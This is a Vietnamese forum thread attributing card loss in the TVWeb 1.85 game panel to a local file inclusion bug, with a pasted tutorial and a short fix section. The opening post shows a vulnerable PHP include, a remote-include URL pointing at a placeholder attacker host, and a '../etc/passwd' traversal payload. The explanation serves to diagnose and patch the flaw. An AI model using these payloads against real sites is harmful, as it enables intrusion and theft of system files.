Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85
Hello & Welcome to our community. Is this your first visit? Đăng Ký
Follow us on
Follow us on Facebook Follow us on Twitter Linked In Flickr Watch us on YouTube My Space Blogger
 
Trang 1 của 6 1 2 3 ... CuốiCuối
Kết quả 1 đến 10 của 56
  1. #1
    2022 thecong's Avatar
    Ngày tham gia
    Apr 2008
    Bài viết
    1,019
    Thanks
    101
    Thanked 150 Times in 78 Posts

    Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    Lỗi ở file server/log/index.php

    Lỗi file local inclusion

    2- Include local file:

    Loại này cũng gần giống như include remote file. Nhưng nó khác ở chổ: biến chứa tên file bị giới hạn bởi một thư mục đứng trước nó.

    Vd: Một file bị lỗi include local file có dạng như sau:

    ---------BEGIN of test3.php-------

    CODE <?php

    include(“/home/$file”);

    […]

    ?>

    ----------END of test3.php---------

    Xin chú ý là biến $file chưa được khai báo.
    Nếu ta dùng:

    [Only registered and activated users can see links. ] ([Only registered and activated users can see links. ]).[target].com/test3.php?file=http://www.[attacker].com/remview.php

    Thì trong code của file test3.php sẽ trở thành như sau:

    ---------BEGIN of test3.php-------

    CODE <?php

    include(“/home/http://www.[attacker].com/remview.php”);

    […]

    ?>

    ----------END of test3.php---------

    Một đường dẫn vô nghĩa. Do đó ta không thể include được file ta muốn.

    Bấy giờ ta chỉ có thể sử dụng cách sau:

    [Only registered and activated users can see links. ] ([Only registered and activated users can see links. ]).[target].com/test3.php?file=../../../../../../../../etc/passwd

    Link trên đã khai báo biến $file với giá trị là: “../../../../../../../../etc/passwd”. Lúc này code của file test3.php có dạng:

    ---------BEGIN of test3.php-------

    CODE <?php

    include(“/home/../../../../../../../../etc/passwd”);

    […]

    ?>

    ----------END of test3.php---------

    Các kí tự : “../../” đã giúp ta vượt qua các cấp thư mục trở về thư mục gốc”/” (đối với Linux) và sau đó là include file /etc/passwd. Thế là toàn bộ nội dung file passwd sẽ được hiển thị trên trình duyệt của attacker. Ta có thể thay thế /etc/passwd bằng bất cứ file nào ta muốn include (+xem). Xin chú ý: càng dùng nhiều kí tự “../” càng tốt vì nó sẽ đảm bảo đưa ta đến thư mục gốc.

    II- Khắc phục:

    Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
    Nếu sản phẩm bạn code chưa mắc lỗi hay đã này thì tôi xin khuyên bạn vài điều để hạn chế việc mắc phải lỗi này.

    + Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).

    + Hạn chế việc khai báo biến phụ thuộc vào nguời dùng cuối như ở Vd 2. Nên khai báo trực tiếp biến đó.
    Lần sửa cuối bởi thecong, ngày 30-07-11 lúc 11:55 AM.
    Ký cái gì?

  2. The Following 4 Users Say Thank You to thecong For This Useful Post:

    LHB_LOVE (31-07-11), mrken2513 (23-07-11), mrvu058 (31-07-11), sunthah12 (20-08-11)

  3. #2
    ♔YONKOU♔ Edward_Newgate's Avatar
    Ngày tham gia
    Nov 2010
    Bài viết
    2,773
    Thanks
    533
    Thanked 1,059 Times in 655 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    Ây za anh em gà mà bác cứ úp mở
    Nói toẹt ra xem nào
    STRONGEST MAN

  4. #3
    Moderator mrrainnt's Avatar
    Ngày tham gia
    Jun 2010
    Bài viết
    1,691
    Thanks
    401
    Thanked 544 Times in 406 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    ! Hình như kết nối được với Port của SQL là Port 443 hay sao ấy ??
    Khách viếng thăm hãy cùng mrrainnt xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  5. #4
    2022 thecong's Avatar
    Ngày tham gia
    Apr 2008
    Bài viết
    1,019
    Thanks
    101
    Thanked 150 Times in 78 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    Lỗi file inclussion là lỗi có thể điều khiển file từ xa ( nói nôm na là như thế)

    lỗi cụ thể ở file server/log/index.php
    PHP]
    Lần sửa cuối bởi thecong, ngày 23-07-11 lúc 12:23 AM.
    Ký cái gì?

  6. Các thành viên gởi lời cảm ơn đến thecong vì bài viết này !

    mrrainnt (22-07-11)

  7. #5
    Thành Viên
    Ngày tham gia
    Apr 2011
    Đang ở
    nhà
    Bài viết
    58
    Thanks
    11
    Thanked 14 Times in 8 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    đổi tên thư mục server đi thì làm sao ? ,
    Khách viếng thăm hãy cùng nguvadot xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  8. #6
    2022 thecong's Avatar
    Ngày tham gia
    Apr 2008
    Bài viết
    1,019
    Thanks
    101
    Thanked 150 Times in 78 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    Trích dẫn Gửi bởi nguvadot [Only registered and activated users can see links. ]
    đổi tên thư mục server đi thì làm sao ? ,
    Ở đây tôi chỉ đưa ra lỗi để các bạn có hướng giải quyết, mỗi người có 1 cách khác nhau mà
    Ký cái gì?

  9. #7
    Thành Viên Tâm Huyết chubelonton's Avatar
    Ngày tham gia
    Sep 2008
    Bài viết
    875
    Thanks
    43
    Thanked 184 Times in 151 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    đổi tên củng không có tác dụng!
    hẹn ngày trở lại,hoặc giả từ vũ khí !^!^

  10. #8
    2022 thecong's Avatar
    Ngày tham gia
    Apr 2008
    Bài viết
    1,019
    Thanks
    101
    Thanked 150 Times in 78 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    Trích dẫn Gửi bởi chubelonton [Only registered and activated users can see links. ]
    đổi tên củng không có tác dụng!
    Đã nêu ra lỗi kia rùi mà, tớ bổ sung thêm đầy đủ lun nhá các cậu vào đây để đọc về lỗi này chính xác nó là local file inclusion

    có 2 loại lỗi liên qua đến file inclussion đó là 1 lỗi về remote include nữa, lỗi này FW bị nè, hồi trước đi nghịch mấy site Mu hoài dọa chơi ý mà
    Ký cái gì?

  11. #9
    Moderator mrrainnt's Avatar
    Ngày tham gia
    Jun 2010
    Bài viết
    1,691
    Thanks
    401
    Thanked 544 Times in 406 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    ! Xóa code đi có được không nhỉ hay cũng không có tác dụng luôn
    Khách viếng thăm hãy cùng mrrainnt xây dựng diễn đàn CLBGAMESVN vững mạnh nhé!

  12. #10
    2022 thecong's Avatar
    Ngày tham gia
    Apr 2008
    Bài viết
    1,019
    Thanks
    101
    Thanked 150 Times in 78 Posts

    Ðề: Đã tìm ra nguyên nhân mất thẻ ở TVWeb 1.85

    cái này fix thôi cần gì xóa.............................................. ...
    Ký cái gì?

 

 
Trang 1 của 6 1 2 3 ... CuốiCuối

Các Chủ đề tương tự

  1. Cần giúp đỡ về TVWeb 1.85
    Bởi kunyeudung trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 4
    Bài viết cuối: 25-08-11, 02:45 AM
  2. Lỗi bảng xếp hạng tháng TVWeb 1.85
    Bởi whylove trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 4
    Bài viết cuối: 16-08-11, 08:57 PM
  3. Help TVWEB 1.85
    Bởi gauandy trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 3
    Bài viết cuối: 21-06-11, 08:17 AM
  4. Lỗi Web TVweb 1.67
    Bởi daiuycong trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 3
    Bài viết cuối: 16-11-10, 05:38 PM
  5. Cần Giúp Về TVWeb
    Bởi daiuycong trong diễn đàn Hỏi Đáp/ Yêu Cầu
    Trả lời: 0
    Bài viết cuối: 07-11-10, 01:36 PM

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •  
Múi giờ GMT +7. Bây giờ là 12:53 AM.
vBulletin®, Copyright ©2000-2011, Jelsoft Enterprises Ltd.
CLBGamesVN không chịu trách nhiệm về Luật Bản Quyền của các tài liệu, bài viết v.v...được đăng tải trên diễn đàn này.
Diễn đàn phát triển dưới sự đóng góp của tất cả thành viên. BQT chỉ là những người thành lập ra sân chơi, quản lý và duy trì về mặt kỹ thuật, nội dung khi hợp lệ.